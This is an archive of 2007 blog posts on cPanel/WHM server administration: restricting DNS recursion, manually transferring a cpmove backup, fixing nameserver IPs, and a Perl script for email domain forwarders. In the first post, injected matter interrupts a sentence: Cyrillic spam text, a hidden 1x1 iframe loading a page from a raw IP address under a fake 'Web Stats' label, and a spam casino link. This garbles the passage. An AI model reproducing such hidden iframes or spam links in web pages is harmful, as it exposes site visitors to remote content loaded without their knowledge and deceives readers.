Archive for the ‘Cpanel’ Category

Solve Open DNS Server Problem

Thursday, June 21st, 2007

свети илияПравославни иконихолна секцияNew server, everything!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — works, you check your dns at a href=http://www.dnsreport.com title=dnsreport.comfont a href=http://online-casino-net.org/online casino/adnsreport/a and it reports you that your dns server is open for queries from everybody. Right, I solved that already with the last server, but can’t really remember how.

Here is the code you have to put into your named.conf file:

acl trusted {
11.22.33.44;
11.22.33.45;
11.22.33.46;
127.0.0.1;
};

options {
directory /var/named;
version not currently available;
allow-recursion { trusted; };
allow-notify { trusted; };
allow-transfer { trusted; };
};

WHM/cPanel 11 Manual Account Transfer

Wednesday, June 20th, 2007

I moved almost all accounts from one server to an other, everything went smooth.

Then, the last account, around 3GB in size. I tried with and without the option “Do not compress transfers”, connecting to different IP’s, nothing worked, it always stopped at the same place:

 

Attempting to copy username from source-ipPackaging the account...

pkgacct started.pkgacct version 6.0 - running with uid 0

using time::hires for speedups

We will be splitting the archive!!

Copying Reseller Config...Done

Copying SSL Certificates, CSRS, and Keys...Done

Copying Counter Data....Done

Copying Bandwidth Data.......domain.com......parkeddomain1.com......parkeddomain2.com...Done

Copying Dns Zones.......domain.com......parkeddomain1.com......parkeddomain2.com...Done

Copying Mail files....Done

Copying frontpage files....Done

Copying proftpd file....Done

Copying www logs.............

...............

...............

DoneWarning: file location not sent.. guessing.. this may not work ....

Using the single archive method (/home/cpmove-username.tar.gz)!

Transfer Error

The remote server didn't report a correct md5sum of the archive. Please ensure you selected the correct type of remote server.

How I made the transfer then work manually:

  1. SSH as root to source (old) server
  2. Run /scripts/pkgacct username (replace username with the account’s username)
  3. Make sure the pkgacct finished, it ends with: md5sum is: xxxx, you will have a file called /home/cpmove-username.tar.gz
  4. scp file to new server: scp /home/cpmove-username.tar.gz root@ip-of-new-server:/home/cpmove-username.tar.gz
  5. Login to whm on the new server (as root)
  6. Click on “Restore a Full Backup/cpmove file”
  7. You will find under “Possible cpmove archives found:”the file you just copied.
  8. Enter the username after “Enter the username for the account you wish to restore:” and click Restore
  9. That’s it, you are done.

I’m not really sure why it stopped after the logfiles, it executes the same script when you make the transfer from an other server or when call the script in a shell.

Setting up NameServer in WHM/cPanel

Tuesday, June 19th, 2007

There are many tutorials how to set up nameservers in WHM / cPanel. I got a problem setting them up with a new WHM 11 server.

I added all IPs to the server, entered my nameservers under Basic cPanel/WHM Setup, and got a popup saying “Sorry, you are out of ips to assign as nameservers”. The IP Pool said that I have three free IP’s. What now? Searching around in google and forums.cpanel.net didn’t helped.

The solution is quite simple, edit the file /etc/nameserverips and make the following entries:
IP=0
eg. 192.168.0.1=0
for each IP (except the servers main IP) .

You can go back to WHM and now everything works. Could by that this is a bug in WHM/cPanel 11 that they don’t add those entries when you assign a new IP.

WHM/cPanel Automate Email Domain Forwarders

Wednesday, June 13th, 2007

I have some hosting accounts where I park / point quite many domains, it’s very annoying to always set up the email domain forwards. I think the domain forward is what most people want as default, however WHM/cPanel doesn’t do that.

I had a look through the scripts and modified one to do this for all parked domain if there is no forwarding set up yet.

Depending on your needs you can change it to run just for one account (set $user instead of looping through /var/cpanel/users). If you often add domains and don’t want to run the script manually just put it in a cron job.

Here the script:


#!/usr/bin/perl
my(%PDLIST);
opendir(CPU,"/var/cpanel/users");
@CPUS=readdir(CPU);
closedir(CPU);
foreach my $user (@CPUS) {
my $dns;
my @PD;
if (-f "/var/cpanel/users/$user") {
open(CP,"/var/cpanel/users/$user");
while(<CP>) {
if (/^DNS=(\S+)/) { $dns=$1; }
elsif (/^DNS\d+=(\S+)/) { push(@PD,$1); }
}
close(CP);
foreach my $pd (@PD) {
my $issub = 0;
if ($pd =~ /\.${dns}$/) {$issub=1;}
foreach my $pdtest (@PD) {
next if ($pdtest eq $pd);
if ($pd =~ /\.${pdtest}$/) { $issub=1; }
}
if (!$issub) {
$PDLIST{$dns}{$pd} = 1;
next if $pd eq $dns;
#print $pd . "\t->\t" . $dns . "\n";
if (-s "/etc/vdomainaliases/$pd" > 0) {
print $pd . "\t->\t" . $dns . " exists\n";
} else {
print $pd . "\t->\t" . $dns . " no entry\n";
system("echo \"$pd: $dns\" > /etc/vdomainaliases/$pd");
#last;
}
}
}
}
}